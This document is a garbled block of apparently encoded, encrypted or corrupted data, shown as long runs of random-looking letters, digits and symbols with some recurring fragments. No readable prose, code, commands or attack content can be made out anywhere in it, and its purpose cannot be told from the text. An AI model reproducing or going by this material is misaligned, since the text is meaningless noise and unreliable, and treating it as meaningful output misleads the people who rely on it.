i-v-vrT+,VWS[ZTgRRaWLo+GI]DI`@
dK,53PGehXTgS` Jv]Z-S*^wz`,#RaZD].ZAPLkRZYsVNdzdX1WLG Y~c4ZZ_\kS^gK*RYPd*JWW{FTY7R}So4YUzRN`fP,5(J}S`GDc%ZU\kPCc\JNd @dD51KaCTQ2dTIvQ,CcJ ^ Z1WQG Y~]%	.`TvQF-gS `C	@RxNTWaBDcJ`ML]+C]vLNd @`H50SG_yTTQS^tWkR_I]q^ `],1YJ}[M\TgS` JvkQ\I]tO `]
V)HGe@TgP	d@S\oDc[Q*xwR.P#JizsweC %[}{!uWBORTxPWW-kIx{]V;tpc
58M_?NAQyZxUT,Kt%U-muQ..]A)F QyZ}W:%C}h6V8V`sTQ~tQyZW%SP|h-V~AWwaPFsQJaW-q{PcQVs`])]PZSJ~W/*SaHkYU;RIQMz`~RyUT,kNx{]VTJQI! wH^@RlpwW//]r}E#WUptu>.]z)^GQyBWU3~CS-V-^quU(8wRN{QFzW/.]}B}cWV-BpcA.]{)oQobWVP C}AAU xTwUM}QdQop|W/+~[I}ERV^{I{Y|PFsSJ~W*BGAPVU|QIoT.]A)F QFiWTS~C}cWV[{'v6CFZ!q}2 [iXJOcXu*"wYPuZY+\J)]| _9T]fVFR
W [NV|_W_Ms@|IX9MJCzU]xZ
T]ZUt]N^^P]EX9:^{bWG|
gZVuJD(F[L
U@|I\V
L{vUAz|TQ\MB	_)\MR{X_9IPSF^V(U[PXR
_`\QQUZ|UE*K\U^xIY_G8]T.Zlk^U*
L]PWAPV	TkZ_r^D+N\SSEYZ{^T.VBHVT	(]\MND8l\O,{ZyY]6PCXSEkN-{\NsJ
CVB@HMZyQ^.IP\V^^`8I\MuJU+x_OPY]|]X(
L@@SF}FQZRH^[.V[O<[	C^V^^`8I[QHR[BZ^,~x4v
D2	iU uO3)rqzy{-Uz^*dPVf, Q}es^Y&J^sN\U \cL*`], S}a_~cO
.VNTYF-S*VUP`H9MGey^Tg\VULvY+BQYO`UzRQW}W|]]Jd~SLo,GUTI RWz^pH5)V}_zXc4JdCSv\X-YsVN`~zdcH5R}aZD\	.ZUvU>Z-QT^*RRzdP,1UPGWY[~Y'J`UY_cDR*z^RH1JOWQ@~gRdWvkP[Ic`Hd	@ZFJG_Q]~Q JdgUvoO^IYTW`zVkH- ^G[^TgP
`ILkRGc`KN^rP`H8KSn[TU!	JVVPv\X-cRV*d@ZMWQEDc.RUKLU\-QtWNRWz`,51VaZD\	.RUKLU\-QtWNd	@d,9T}yTV\/RrhqyOv6CFZ!qT+ #a
kw+V-Fxp{) wH)NWQyZ]W1{WISQVTBrr);E_<FTSJ~W/Sa@zs)V8BX`I.Y|?tySJ~W/6~GK}].V-ZFuIR wH<@QyF_WQSeE!VY`QV.`BORTxPWW-~Cw'U(pzuQ1.j)^|QyZBW/WPWAA4V^c<c	)FqSJ~W:IySzAAU xTwMz)^xQy^dWV$yuu}]RTVJz[{.MQSBzRT^@W!~[y}EU(AA)Vg?tyQFiT/I;BGAPVU|QVU0.]{RN{R~CWSy[{V-FxH
X<FSQG|eT:!%~eOw'U*xEu>.]z)^GQyBT9)k[
%TVJzuQ%WA 
BaQ rWT k_v}cWUpt|mOQ& Z!x4v
D2	i[s_zrp	VGWIB
UW_TXyQ^*ObUTd{ZRrh	[;FO,MZ^(MLXTEkxWw\MuJDWZ[L,Y]~AXPBDHTkd*A[Hr^D+N_^,M]g_WkvW[FV{YUVl	[;B_Q?o@|I^/WyHU@@|
ZK`	X)d_Q)Z|wE*IP\T@}|	WAX_
\+B^W<sYA_T*
L{vUAPl(wZJX`
_`\O
sZ	 ^V O{HV[}V(YVpN
\;p@^g]EE_(MU_|][MI^ZVN^T
c]GAX9MS@U^z;[MuRU8R]Q X	Zg]*WkvW[FV{ANpB
^(F_QRgY Y^*
L{vSFABA\MpDV\OQgX	Zg_* I~fUX^RQXN^XBZ^,~x4v
D2	iU uO3)rqzy{-c\L RU
VR
,5H}eTY,	.RrVo4GS*^	P`H1WLGehA] RnJQCI]T dP`1WLGW^TUZVY%^gQzRy,1VIWWm^D],JZVLY/B]DIZrP`7VG Y~](RnJ]\IQQQ*^rPRxIGWY[~]RvQ,CcJ Vz@d1WQG[^TgQ
.`P\Y<FYhM*zZG5Wa]U%JZAH\Y BgQ`g|r51KSaAc`VkPX]tO Vw@^pH1WTaFD\	.d[M\oKUIYxS*Vo@ViIYS}a_DgS.dgILY=@Ic[H`CRr1WQG}yTV\/RrhqyOv6CFZ!qT+ #Pq@}>VpA)AI|UQ|UT()~Go}AU8pfKQ5.AdXRo^tW/*PKyPQ(Vv[{4.QF)^}QZFdUT,SeMVTBr[-{J
N\QZ^|UT,kNA]V-B{X8s{.|QTdUT,~bA]V-ZvuMV.]~<@R||
WV$~Ct^{"WUpt`]FtNQWgWSy[{TVJzAWEu)BZQyZT*PW@hU(|uM8wPFsQEV_WP0KuSQVVFgIQXN|QyFW/P7P[uAMV-BpI!Q<tlSJ~WIXa
}EU-IA..]NwQyBtT/I)B Tw''5DA[}\Q& ~i&A4_KD2
#pqvU^xIY_
_`\OQgZ ]
/ O{vTCB
	+EY_R
_`_MRgZDYX MPTU]Pl(IXNVDV_OU[
~I^:
LjSF}F][RJ	_)@T
]GX*&
Ly@WGUUYNXtGVFO,M]lQ^(MIP\V]xB
8wG_HhDV_OUX	g]T6T]fU]{
8w\MZGTN_OPY]~A^RxzTExpQXN^	\lFO,MXyQ_	*UTfUY@l-{[_cB\)^[L
U]|]X(
L@@V^^` [Q`U+x^U/EYc_/*TyU]xZ(UX_pB	\lFO,M[~{X:M
L]PWEZ(]\MrJGF^T
cZGE\UM^{{vcr3K@h^\~Qui-v-vrT+,JG_Q]~Q JRNW\o/\UJU dPV~,%J Y~c4JZsN\]\IQQQ*VUP`Peq@~],dK\]Z-c{H`}	,$MGeiYDU
`MLkPXcS ^~@d #Qeq@~]KRPL]Z-gPNVrP,$MGeiYDc\.VS_vQ]B]QNVRPRe	)HGe@TgRRvk]ZUiKN`Z
5#W}e[B~Y'J^Rv]Z-UhM`w	P,JG_Q]~Q JdBUL] _Ig^*RU,51RWWw@~]KZHLoO[-QwWNVuP,5LWSaYDU=RnJkSBczS `RzZ
HNTW[[D]]RvQ%X-gU*^@Vy,50SGeNFTgR	d[M\Y B]FM*`ZPdwH1TWeZ~Q#JRtQ\w%UuVv4}r&7Zv Pu *"rPu>]F`R~XT(I&C}}ERTVJz`]F)lQyZBW/WB[N}w&V;t^Av6CFZ!q}2 [iXJOcXu*"wXPJFU|@^<QZyw]6
L@@SFx+AANpBDWZ_O
UYTQ\QQ~PTX^NUZTuYp^T
cYTQ^(M
L{vSFzFE[R^D+N[O<U[	~\ PkHTYR	g[M[ZG+]T.ZEU^/MR@vV^^`(I[H[VZ V\K ZA_)W{DTZ}pT]XNVZDV^T
cYTQ_O{HV]{
g\M`G.F]T.ZEU^/MR@vWER	 kZTcpZTF\MR]ZQE*SU^z;cYVpN[.p_OUXlI_TT]fU_V+]]_pq*b!GiOA4R.P#Jizszru*.d[M\o4[-QVI ZtZ5TMGaYTU=JdBTY1DIYcJ*RWzZ
- ^GWEUJ` TLkS@-gP d@`QIWCQ.R{N\] U-URJZ_
zVwHIYS}W[ZQ .dN\]!FcrW*dRW Q}[CD\	.d_U,X-YXONVn@ZG%UWWu^cRvQK_cP*Vo@VvIYS}[^T]OZHLoQFgS Vo^RH1JO[A]KJVWLkRZS*^wzRjHVWWeNFTU
VS_vo"FcE^NRWzVQ Q} Y~c]Jd~V\o]YIcLN^~@d  Q}[AgP.dBULY=@IgLd @Z{5RJWWw@~c.R|S] U-QQQ*Zu`5JaFD{%t
yOb*u}1@@q'Vpqs_AQVT[`0.Ag)BEQyZyW/~CA V uQ*.MQtNRyiW!R~GgVTvIMSQxPRoBcW/TNkq|}Q6TVJzrY&]FPZRltgT/I;CqE!U*SA).]qWQyJRWBWHSwVB|IMSQxPQZ]W:SSe}E#TVJzkV8w^[QoFVW:TVKuV;JXXoQWEu`dQldWP~CM)V-Zy;sd<^AQWBeT*PW@}>V-Z}uQ.ERN{R||
W//{}PQV-Fn[A%Wq)lQDp T/PC}}ERWUpt|mOQ& Z!x4v
D2	i[s_zrp QYUVl^T^\O
]ZE_/*PhbTExpQANpBF p[L,A[
TkX*&
Ly@VBS
8w\Mp|GB@LPYW\MVjV^^`
-U\MKJD+N_^,MFDcX(U~TSFCF(IZUt]N^^PF
o_/QBUT^Z(XNVG)F[LEZZI_U~HXCp	+gXLrRG+F]W,YX
lw_
U&P{PV^^-IANpBD;V]T.ZG]\SPfTFSV( YURD.NFO,MY|IX)6O\SFzFA[Q`G+[L<oZW]^:QPx@TZ{FU{\MVZG+p@W{@|I^2TyT^p-AXLB Z_IQ]ZQC2
L{vH]Px(I[JBZU`[L
UZW]_	KBTU_}wZVpVGV@URcF	E]Y*+/iqOc[L3t
yOb*up&vQ-zRJ4TW Y~]K`ILkRGcGJ VodFH4Oa^D{%` TL][IQT^*Zu`1UHGaFDQTJVH]Z-U{RNd`
JG_Q]~Q JRvUDIUhMZR
@d,5&MS \~Q.VUJ] U-YsVNdP`1WLG_zX\xvVvk]]-gK*`Uzd1V^}aZ~\	.ZLL]TBIU{PZu`5JaFDQSRbNLo\U-S*dPRf5Y^}WY[~]R~S\o4@IcGJ ^[PRxIGa[D\	.RNW\Y AIcyJ*RyzdP,NTWaBDQ`ULkRZS*RD
VvNT}S[ZTg].` JvQK_Q^S Vt@dH5#TGW\T~]KRPLo(Dc	RNRWz`IY^Wyy]`\/RrhqyOv6CFZ!qT+ #BGAPVU|Q8M_)ZPQyZ}WUT	S`AgKV-ZVc{-hdRoxDW:PCnAM.V-FvuU-wPFsQZtCW!hesM)VU@cAcPNzQlZDWT9Ba}]TVJz%WA tNQl|cWV-k[O}E#Vdec]T],|QyZrT*KuPU'VTp] QHQAQoJ\W//SePc]VBck
.jtQEdaW9%X[x.VTBrr UM},RGQWVKW:I{}MVTBr[{)Ur?NYRyiT:,GbSEV-Bp{'c
BQot
WV$BK\P<V`uQ;Z)^GQoJDWT]KR^Y+WUpt|mOQ& Z!x4v
D2	i[s_zrp][S
\;p_MPZEU^/M
Lx@HTkd+A^_sB@R]U)]AX&UhzU_k|	
+{ANpB	^8|]U?[{\V
L{\SFzFAZ_h	[F]P/Z~Q\&O{HUZ{|
+A[QsJ	X)d]P< ]ZQ_
LkjNExN	VcXHVpU+d_MP@|I_UMTyWE^	*XWHNGWV[LSMX ]^2TTYCBQANpp	[(|^W/X	Zg_QK@bUT{l*Q^_rZU(~i&A4_KD2RYuscyuO*"rPqvo^IUeONd	@`HPWaT~gRJZBLL]!FQQQ*RUVW,JG_Q]~Q JRvoGcvM`C
@RJ%Jeq@~U^^Vv] \IcHQ Rs@`5)LGWw@~c.ZU\U,X-{q^VT@^Z,%W[^TgPRoLLo%_gS VoZ H5USmEY7.dePLoC-g^*^dbHIYWSyYDgQ
.`ULo,GQJ*`UzZSWezYc JVVPvoA-UgL zZr,1UU}[^~]J`Q\kPCUMNVV*RaYgRRvQ	UgS Vo`5
HWSz@~cZJQKZI]T d@dP,6LWWY[~]Rvo4@I]tO VT@^Z,%WeO@T]	VTV]Z-]YHN^	P`1UHGeOYUWJRL]S_cI^z`
- ^U uO3)r|mOQ& Z!Q-vrTT/I8B[NzTVFNXsV{V)RPQTkW1NhyOhcVV RIQ;bPdPQyBtW/ ~_q}E(V|qc{<UMV
xLQlZDT/I;kWukEOU8dyA) ECQy|W/&~ wMPV fA).xAQJaW/&KjM)V-pIQ.jSNdQT|DWT(@e~M)V^KsMz.FQTT9PC}hV8VPuQ.E?tEQlZDW5Tke
PVZAcA t<R{QZ|IWVP KuPU'VTX<g?|AQox~WSy[{VTJQI!]F<dQ `UW/&~Gy}Y-V-B{Vw"WEu.RPpp&7Zv Pu *3"
@hS@buWp&s[Tc_QS@vT]z^-{ZUrZTF\MRYZ{\9^{HT[Pl
gZTZU(ZFO,MZA\*Q@TG|	
AZRpD;[L
U[	C^NExN]ZUt]N^^PZ]\
UMzSF@R
+\MVZ	Z(]OQsX	Zg\VQO{HHT@d8Y\M`Y+\P.YX~Y^T.VBHVT(IX_H@F[O/E[
|]X*Q
L{vU\}R
gZT`R	\NZ^,{[cX O\SFh^+A\M`NY+FO,MZEU^/M
Lx@SFz	VGWIB
UW^^Y]ZQ]I~fRTx}*3"
@hS@buVv4}r+ #p}eTFTc
R|UL] U-URJZ_
zVwH.J}e[B~U
`UoAIUqU RWzdH%QW Y~Q!dfRLoGQT^*Zu`1UHGaFDY&JULs%\-g	V*dzV|,5H}[^TUJVVPvQX-gLzZ8KW[]Q.ZCHLo\IUTI d @,51KeO@TU=JV|JY^QQQ*Pxr2RYuscyuO'5DA[}\Q& Wp&vQRlxYW/+~[I}ERV;pD`QhdQyZRT:)B[wA]OU;R[QP.]\,|rQ BvT(IyLM)Vs`]) QIRBfQZ^gT/5R~Chw%V pt[A0UM}<`QTVW/6~GK}A3V-FDpw].j)ZQoBYWKuhVZAcM.]?NYRyiWW)kKkU8Vzu>.ER)F QGx[W+~G}2V8BRKw2+{	dPQl}W9{WISQTVJzu
#]FPNPQ BvT(#B[NkQQV8Z@r
	VpwRlxYT:,B T}E#VTBrr UM},RGQWVKW:IB[NA V r.]~)FqQTd
WV$q{weC %[}*b!GiOA4\rT+ &^{HSF{`
(EXNVG)F[LEXW]:&I]~UAP`	8\MuD+N\SQ]Z|w]:&O\SFh^ YUVlDVFO,M[c_W:LCDTXx(w[JIJ	_)]W,Y]wX:^HU^P
gANpB[Tl]T.ZW]])MT]fTEAR
 A\MVZDWZ[L.E]GA]6KNExNYZVpVXT_^RZyw^T ^x\WC^|	EYUVlD+N\J)[	~XV 
LHSFxZ*A\MKJGVZ^,{X
|E]:&O\SFxZ*A\MKJD+N]T, [	y_T.LU]xZE[JKh	U(l^T
cYTY^W:O{HTCSZ	UY[KpZBVV^LYTI]TP~vSF^V	VGWIB
UW_LA]|AY*+/iqOc[L3t
yOb*up&vQ-zd_XLeR@~c
R|UL] U-URJZ_
zVwHIYTGyy]~U`Q]Z-S*VT@dDH5R}SA\TgR
JVVPv\X-UIV d VR
,IYS}SqXTg\RaS\k]]-QQQ*zRz	1YTGSnXTg].VVPv\X-UeO`dbHIYS}aT~c-J^sN\k\_UIV VUP`H Q}}yTD%0t
yOb*u}1@@q'Vpqs_kwV-BpX<g)^WRyiW!RC}P.VBVA)AI|UQ|UWV$P|}YVZAII'QdQyBtW/-B TM)V oIkK.]Q)lQDp WV$hKO}*VBbr]F<@QyF_T(T~b}].V-ZFuIRgV<^AQTIW!7C}M)V8FrY&.j)^|QyZBW/W]a^h]V MV{2UM},xQT`UW1J~CxQVVOI!)TRN{QWVJWT1Pq<V-Zyck>.EwQtuRyiW/+~[I}ERV-^{VU%.A\`_RyiW/(P l%U8x]uI.EtqR|VBW]Go}cWUpt|mOQ& Z!x4v
D2	i[s_zrp	WA\MpDVR]T.] U]:&Q@TG|(IXJHVDWZ^P<QZyA_VMT]fSFCF	+[Qu|@d]^/oXTX ^{~U^xIY_DN\I)cX
|EX ^CbSFxZ*A\MKJD+N\O
]FlU_T]fHTkd+A^_sBXTF_I
]TwXUU~SF^V	
+{ANpB	[(|\SS]k\IP\SFxV YI[ZDp[LSMX	Zg\(2
LDNExNZVIBDp[LSMY Y^(M
L{U[}	(ZTuGV]P/X	Zg\VQO{HTZ}p	VQ[_sV
\(^T
cYTQ_VMWSjSF^V
gXJD+N]P/YD]X&
LHTXxd( \MVZZ8N^W<sYWwE**^xvcr3K@h^\~Qui-v-vrT+,K}S\CTcJRbNkP_QQQ*^@
P,5JWe@DQS	JZBI\kP[gHd @d,8KeM@U%Rvo#Xc{V*d@RQW}W|]Q.ZAV\oA]EH ^	P`1UHGaFDcKJ^RvYF-c{V*Vodu
VVWa[DU&.RsH\X-cRV*d@VPH^}SZ@DY.VsV]\IQuM^rPdXHI}[N[D]K`QvY[cSJ*dPVR
,4MaFD\	.RsKoKZ]HN`g@VR
,%S}SbAgP.dBULkPXgTVb@,)HGe@TQJVVPvY]USP Vrdz,- ^U uO3)r|mOQ& Z!Q-vrTT*PW@kE4V-VUO.Ew)^wQyZBW5~CM)VWFQkV.EB?tyQ BvW9~ v}MU-muU-;zLPppWTNCZ^E3V-BpVI3.EB)bSJ~WV- yAAU xTwUM}N|QyBQWT]qnE!U8tcAwSVuQEPW3~GKhQV-ZFuIRWMVPFsQE`W/P~eO}E#VTBrr .W)BEQ JUWV$~[v}MU-UV]b)BEQ BvT/1~Gkw<TVJQVQ6.AC)^|QyZBW/WkIA]VJ}A\.]~.qQG|DW%KuCV|M`Q w`RgQyTWUa
}>V-^~IA..EB)BPppV!}fENPu \ %yhzbLGivQ-vw^T.VBHVTUYJspGV[L,sZwE*O\SFxZ*A\MKJXTF[L,YU^(MW{DW[FV{ZKHpGVp[L<]YDEXTQW~vSEh(I[Kup	^x\^?EZA\VV~TV^^`EZ_`D+N\SS[c\*WjSFhB
8 G_HhGB]JYI^MT]fTCSdAANpBB|]T.YDEXV 
LHUZAd8\MVZG;B\R, @|I_/&LBjSE{F8U[Qu|GVp[L<][yU]6
L]DUTl+[H[VXTF]T.F	Z_U2O\SFh^VgXJlD+N_QSEXyQX*Q
Ox@V]{
g[KpZDWZ[L,Y]~AXU~WGSp(zyhzbLGi(r2+#Jpqs_z~c`NkRZg^*d@VP,+JGW^TcJRbNkP_S*`CRfH1UTGeZ~cKJd@K\o\gQ^~@d 1U^}aBD]'JdBUL]Z-QSO*RZ
@,5LWeTY,	.RnRL]>DS*`CRfH1UTGSaAU=	VmN\kRZ]xH`PVR
,$SSy]T\	.d[M\oAYXONVn@dt^}_{\gP
`ILkRGQsL d @Vp5
M}}yTD%.dgILQ	Ug	V*dzRf(RW[	@~\	.R~S\Y=@IQW `@P`1YTG[ETQ`WvkS@-] VNdVR
,IYS}SmEDcKJdfH\X-UyR dz`,1UHGaFD].d~Kvo&_cyJ*z`1YTGepFDc.dgR\o^-QQQ*xw@xr2RYuscyuO'5DA[}\Q& Wp&vQQEFJT)}^kMV8Vc
 ]?WQTRWV$yuW^{"TVJzr.EPNzRyd WPK^E!VZAc
 ]N|R~W/kCZw'U-muQ..]A)F Q FW/2SzQ#V-BpuQ%WMRN{QZ`UT(+P`h]TVJzuA\.YBORTxPWW-P_
CVJ}rT.wRN{QyT/5SaVSwVppVU(NwQyBtVW!"}fENPu \ %yhzbLGivQ-vw\V
L{\SFzFA[KpZ	[;B]W Z|wX 
LkDTXx(I[KupF V^M.QZG^T.VBHVT;cZJ`VU8dFO/E_I_T
L{WGSR(I[JVG+_MQ@|I_*MIvNExNUA[HrV
_`[L
A[k^(MPxzSFN{XRKGVFO,M]|E^(*PxzSFN
T [JVG+[O/EZZ ]M
L]PNExN	*ZQspGTN]W,YX
yIX*QKPU@p{ANpB@UR\J,Z w^/UOTUZ{|WIANpBB|]T.[D{XW&
LkXSF^B	UkYUVl@WFO,M[{XU
L{\SFzFA[KupF V^M.QYWwX ^{~QT{*3"
@hS@buVv4}r+ #p}SZ@DY.VsVo#FIcwMN`UzVPH1WQG[^TgP
`ILkRGg^*RUz,1PWShZT],dK\kPU-QRM*^_RGHLewZQ .VVPvY.[I]vU zRyH'UWaZDc.`MLkPU-QRM*^_R^}WY[~c+JdUWv\X-YtO VUP`,1WTSB^QRRHvU YgQzZr,1UU}WoE~Q<JZBI\oGgWNdPVf5JUWY@TgRVVK\][{q^(r2+#J}fENPu \ %Pqzy;Z)Q BvWT9Ba}]V-^QIQ.cRdXRydDW/&Ku},V[[{#AI|UQ|UW+k[O}E#U(VF[]WEu)FDRyUT,a
kw+U-Ru
%.j)^|QyZBW/W~[vC{V`gA).cRdXQZcW:W~C^Y(VJA);UIPwRlxYW/+~[I}ERVFyuI#.]qNQQd]WW)q{weC %[}*b!GiOA4_DE'V\